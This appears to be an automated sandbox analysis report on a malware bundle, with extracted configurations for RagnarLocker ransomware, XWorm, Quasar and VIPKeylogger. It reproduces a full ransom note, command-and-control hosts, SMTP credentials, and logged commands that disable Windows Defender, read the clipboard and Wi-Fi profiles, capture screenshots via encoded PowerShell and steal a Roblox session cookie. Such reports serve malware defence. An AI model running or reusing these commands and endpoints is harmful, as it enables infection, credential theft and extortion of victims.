Resubmissions
17/07/2025, 17:08
250717-vnsn1a1xex517/07/2025, 16:59
250717-vhxqrs1xc11015/06/2025, 15:43
250615-s55zjssyhz15/06/2025, 12:42
250615-pxjjsstqw610Analysis
- max time kernel
17s - max time network
69s - platform
windows11-21h2_x64 - resource
win11-20250502-en - resource tags
- submitted
15/06/2025, 12:42
General
- Target My-Skidded-malwares-main/PCCooker_x64.exe
- Size 22.4MB
- Sample250615-pxjjsstqw6
- SHA256 d850d741582546a3d0ea2ad5d25e0766781f315cd37e6c58f7262df571cd0c40
Malware Config
Extracted
-
C:\Users\Public\Documents\RGNR_292FBD50.txt
- Hello VGCARGO ! ***************************************************************************************************************** If you reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED by RAGNAR_LOCKER ! ***************************************************************************************************************** *********What happens with your system ?************ Your network was penetrated, all your files and backups was locked! So from now there is NO ONE CAN HELP YOU to get your files back, EXCEPT US. You can google it, there is no CHANCES to decrypt data without our SECRET KEY. But don't worry ! Your files are NOT DAMAGED or LOST, they are just MODIFIED. You can get it BACK as soon as you PAY. We are looking only for MONEY, so there is no interest for us to steel or delete your information, it's just a BUSINESS $-) HOWEVER you can damage your DATA by yourself if you try to DECRYPT by any other software, without OUR SPECIFIC ENCRYPTION KEY !!! Also, all of your sensitive and private information were gathered and if you decide NOT to pay, we will upload it for public view ! **** ***********How to get back your files ?****** To decrypt all your files and data you have to pay for the encryption KEY : BTC wallet for payment: 1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4 Amount to pay (in Bitcoin): 25 **** ***********How much time you have to pay?********** * You should get in contact with us within 2 days after you noticed the encryption to get a better price. * The price would be increased by 100% (double price) after 14 Days if there is no contact made. * The key would be completely erased in 21 day if there is no contact made or no deal made. Some sensetive information stolen from the file servers would be uploaded in public or to re-seller. **** ***********What if files can't be restored ?****** To prove that we really can decrypt your data, we will decrypt one of your locked files ! Just send it to us and you will get it back FOR FREE. The price for the decryptor is based on the network size, number of employees, annual revenue. Please feel free to contact us for amount of BTC that should be paid. **** ! IF you don't know how to get bitcoins, we will give you advise how to exchange the money. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ! HERE IS THE SIMPLE MANUAL HOW TO GET CONTCAT WITH US ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 1) Go to the official website of TOX messenger ( https://tox.chat/download.html ) 2) Download and install qTOX on your PC, choose the platform ( Windows, OS X, Linux, etc. ) 3) Open messenger, click "New Profile" and create profile. 4) Click "Add friends" button and search our contact 7D509C5BB14B1B8CB0A3338EEA9707AD31075868CB9515B17C4C0EC6A0CCCA750CA81606900D 5) For identification, send to our support data from ---RAGNAR SECRET--- IMPORTANT ! IF for some reasons you CAN'T CONTACT us in qTOX, here is our reserve mailbox ( [email protected] ) send a message with a data from ---RAGNAR SECRET--- WARNING! -Do not try to decrypt files with any third-party software (it will be damaged permanently) -Do not reinstall your OS, this can lead to complete data loss and files cannot be decrypted. NEVER! -Your SECRET KEY for decryption is on our server, but it will not be stored forever. DO NOT WASTE TIME ! *********************************************************************************** ---RAGNAR SECRET--- QWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw== ---RAGNAR SECRET--- ***********************************************************************************
-
1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4
-
https://tox.chat/download.html
Extracted
-
xworm
-
5.0
-
outside-sand.gl.at.ply.gg:31300
-
uGoUQjcjqoZsiRJZ
-
Install_directory
%AppData%
-
install_file
USB.exe
Extracted
-
quasar
-
1.4.1
-
Test
-
193.161.193.99:35184
-
67.205.154.243:35184
-
9cabbafb-503b-49f1-ab22-adc756455c10
-
encryption_key
8B93C77AC1C58EA80A3327E9FD26246A79EF3B8E
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
MS Build Tools
-
subdirectory
Microsoft-Build-Tools
Extracted
-
xworm
-
147.185.221.22:47930
-
127.0.0.1:47930
-
Install_directory
%AppData%
-
install_file
svchost.exe
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.tonicables.top
-
Port
587
-
Username
-
Password
7213575aceACE@#
-
Email to
Signatures
- A stealer written in Python and packaged with Pyinstaller 1 IoCs
- Blankgrabber family
- Detect Xworm Payload 52 IoCs
- Detects Rhadamanthys payload 3 IoCs
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 2 IoCs
- RagnarLocker
Ransomware first seen at the end of 2019, which has been used in targetted attacks against multiple companies.
- Ragnarlocker family
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Rhadamanthys family
- SquirrelWaffle is a simple downloader written in C++.
SquirrelWaffle.
- Squirrelwaffle family
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Vipkeylogger family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Renames multiple (3321) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Squirrelwaffle payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 6 IoCs
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Drops startup file 2 IoCs
- Executes dropped EXE 40 IoCs
- Loads dropped DLL 20 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
- Drops desktop.ini file(s) 2 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 7 IoCs
- Enumerates processes with tasklist 1 TTPs 3 IoCs
- UPX packed file 38 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 5 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Opens file in notepad (likely ransom note) 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 20 IoCs
- Suspicious behavior: MapViewOfSection 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\PCCooker_x64.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\PCCooker_x64.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\popapoers.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\popapoers.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\Client-built.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "MS Build Tools" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Microsoft-Build-Tools\Client.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\Xbest%20V1.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\Xbest%20V1.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\Xbest%20V1.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\Xbest%20V1.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\Xbest%20V1.exe'"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\Xbest%20V1.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "start bound.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\bound.exebound.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"5⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"5⤵
- Clipboard Data
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard6⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profile6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"5⤵
-
C:\Windows\system32\systeminfo.exesysteminfo6⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uazlfwul\uazlfwul.cmdline"7⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C90.tmp" "c:\Users\Admin\AppData\Local\Temp\uazlfwul\CSC8FA905FB500F4FD2BB825F27EFD1AA9E.TMP"8⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"5⤵
-
C:\Windows\system32\getmac.exegetmac6⤵
-
-
-
